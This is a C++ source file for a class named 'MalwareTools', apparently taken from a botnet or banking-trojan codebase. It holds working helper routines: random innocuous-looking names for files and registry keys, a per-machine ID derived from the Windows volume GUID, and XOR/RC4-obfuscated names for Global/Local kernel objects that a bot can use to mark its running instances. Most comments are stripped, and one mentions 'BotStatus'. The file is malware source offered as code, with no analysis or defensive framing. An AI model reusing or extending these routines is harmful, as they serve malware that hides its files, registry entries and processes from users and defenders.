#include <windows.h>
#include <netfw.h>
#include <shlobj.h>
#include <shellapi.h>
#include <security.h>

#include "malwaretools.h"
#include "time.h"

void MalwareTools::init(void)
{

}

void MalwareTools::uninit(void)
{

}

//to crypt
void MalwareTools::_GenerateRandomNameW(DWORD dwCaseFlags, LPWSTR pstrName, BYTE bMinChars, BYTE bMaxChars)
{
  static const char chars_list1[] = {'b', 'c', 'd', 'f', 'g', 'h', 'k', 'l', 'm', 'n', 'p', 'q', 'r', 's', 't', 'v', 'w', 'x', 'z'};
  static const char chars_list2[] = {'a', 'e', 'i', 'o', 'u', 'y'};

  // .
  DWORD dwNameLen = Crypt::mtRandRange(bMinChars, bMaxChars);

  // .
  char *list[2];
  if(Crypt::mtRand() & 0x100)
  {
    list[0] = (char *)chars_list1;
    list[1] = (char *)chars_list2;
  }
  else
  {
    list[0] = (char *)chars_list2;
    list[1] = (char *)chars_list1;
  }

  DWORD lastSpaceIndex = 0;
  for(DWORD i = 0, chr = 0; i < dwNameLen; i++, chr++)
  {
    if(chr == 2)
    {
      //  .
      if(Crypt::mtRand() & 0x100)
      {
        list[0] = (char *)chars_list1;
        list[1] = (char *)chars_list2;
      }
      else
      {
        list[0] = (char *)chars_list2;
        list[1] = (char *)chars_list1;
      }
      chr = 0;
    }

    // .
    DWORD dwMax = list[chr] == chars_list1 ? sizeof(chars_list1) / sizeof(chars_list1[0]) : sizeof(chars_list2) / sizeof(chars_list2[0]);
    
    if(dwCaseFlags & NCF_ALLOW_SPACES && i - lastSpaceIndex > 1 && (Crypt::mtRand() & 0x101) == 0x101)
    {
      pstrName[i] = ' ';
      lastSpaceIndex = i;
    }
    else pstrName[i] = list[chr][Crypt::mtRandRange(0, dwMax - 1)];
  }

  //  .
  if(dwCaseFlags & NCF_ALLOW_SPACES)while(dwNameLen > 0 && pstrName[dwNameLen - 1] == ' ')dwNameLen--;
  
  // .
  pstrName[dwNameLen] = 0;
  
  // .
  if(dwCaseFlags & NCF_FIRST_UPPER)pstrName[0] = LOWORD(CWA(user32, CharUpperW)((LPWSTR)(pstrName[0])));
}

void MalwareTools::_GenerateRandomNameA(DWORD dwCaseFlags, LPSTR pstrName, BYTE bMinChars, BYTE bMaxChars)
{
  WCHAR name[257];
  _GenerateRandomNameW(dwCaseFlags, name, bMinChars, bMaxChars);
  Str::_unicodeToAnsi(name, -1, pstrName, 257);
}
//fs
bool MalwareTools::_GenerateRandomFileName(DWORD dwCaseFlags, LPWSTR pstrPath, LPWSTR pstrName, LPWSTR pstrExtension, BYTE bMinChars, BYTE bMaxChars)
{
  WCHAR tmpName[MAX_PATH];
  
  for(DWORD i = 0; i < 100; i++)
  {
    _GenerateRandomNameW(dwCaseFlags, tmpName, bMinChars, bMaxChars);
    
    if(Fs::_pathCombine(pstrName, pstrPath, tmpName))
    {
      if(pstrExtension != NULL && CWA(shlwapi, PathAddExtensionW)(pstrName, pstrExtension) == FALSE)continue;
      if(CWA(kernel32, GetFileAttributesW)(pstrName) == INVALID_FILE_ATTRIBUTES)return true;
    }
  }
  
  return false;
}
//registry
bool MalwareTools::_GenerateRandomRegKeyName(DWORD dwCaseFlags, HKEY hRoot, LPWSTR pstrPath, LPWSTR pstrName, BYTE bMinChars, BYTE bMaxChars)
{
  HKEY hCur;
  bool ok = false;
  
  if(CWA(advapi32, RegCreateKeyExW)(hRoot, pstrPath, 0, NULL, 0, KEY_CREATE_SUB_KEY, NULL, &hCur, NULL) == ERROR_SUCCESS)
  {
    DWORD dwDisposition;
    HKEY hSub;

    for(DWORD i = 0; i < 100; i++)
    {
      _GenerateRandomNameW(dwCaseFlags, pstrName, bMinChars, bMaxChars);
      
      if(CWA(advapi32, RegCreateKeyExW)(hCur, pstrName, 0, NULL, 0, KEY_QUERY_VALUE | KEY_SET_VALUE, NULL, &hSub, &dwDisposition) == ERROR_SUCCESS)
      {
        CWA(advapi32, RegCloseKey)(hSub);
        
        if(dwDisposition == REG_CREATED_NEW_KEY)
        {
          ok = true;
          break;
        }
      }
    }

    CWA(advapi32, RegCloseKey)(hCur);
  }

  return ok;
}

//to hz
bool MalwareTools::_getOsGuid(GUID *guid)
{
  bool ok = false;
  WCHAR path[MAX_PATH];
  WCHAR volume[100];

  if(CWA(shell32, SHGetFolderPathW)(NULL, CSIDL_WINDOWS, NULL, SHGFP_TYPE_CURRENT, path) == S_OK)
  {
    //   .
    CWA(shlwapi, PathAddBackslashW)(path);
    while(CWA(kernel32, GetVolumeNameForVolumeMountPointW)(path, volume, sizeof(volume) / sizeof(WCHAR)) == FALSE)
    {
      CWA(shlwapi, PathRemoveBackslashW)(path);
      if(CWA(shlwapi, PathRemoveFileSpecW)(path) == FALSE)goto BAD_END;
      CWA(shlwapi, PathAddBackslashW)(path);
    }
    
    // GUID.
    LPWSTR str = volume + 10;
    if(*str == '{')
    {
      str[38] = 0;
      if(CWA(ole32, CLSIDFromString)(str, guid) == NOERROR)ok = true;
    }
  }

BAD_END:  
  if(!ok)Mem::_zero(guid, sizeof(GUID));
  return ok;
}
//to hz  , BotStatus?
void MalwareTools::_generateKernelObjectName(GUID *osGuid, DWORD advId1, DWORD advId2, LPWSTR buffer, Crypt::RC4KEY *rc4Key, BYTE objectNamespace)
{
  GUID guid;
  Mem::_copy(&guid, osGuid, sizeof(GUID));

  guid.Data1 = (guid.Data1 ^ advId1);
  guid.Data2 = (guid.Data2 ^ LOWORD(advId1));
  guid.Data3 = (guid.Data3 ^ HIWORD(advId1));

  for(DWORD i = 0, k = 0; i < sizeof(guid.Data4) / sizeof(guid.Data4[0]); i++)
  {
    guid.Data4[i] ^= ((LPBYTE)&advId2)[k];
    if(++k == sizeof(DWORD))k = 0;
  }
  
  if(rc4Key != NULL)
  {
    Crypt::RC4KEY key;
    Mem::_copy(&key, rc4Key, sizeof(Crypt::RC4KEY));
    Crypt::_rc4(&guid, sizeof(GUID), &key);
  }
  
  LPWSTR prefix;
  DWORD prefixSize;
  switch(objectNamespace)
  {
    case KON_GLOBAL:
      prefix     = L"Global\\";
      prefixSize = 7;
      break;
    
    case KON_SESSION:
      prefix     = L"Local\\";
      prefixSize = 6;
      break;
  
    case KON_DEFAULT:;
    default:
      prefix     = NULL;
      prefixSize = 0;
      break;
  }

  if(prefixSize > 0)
  {
    Str::_CopyW(buffer, prefix, prefixSize);
    buffer += prefixSize;
  }

  CWA(ole32, StringFromGUID2)(guid, buffer, 40);

#if defined(WDEBUG1)
  //WDEBUG1(WDDT_INFO, "Generated object: %s", buffer - prefixSize);
#endif
}
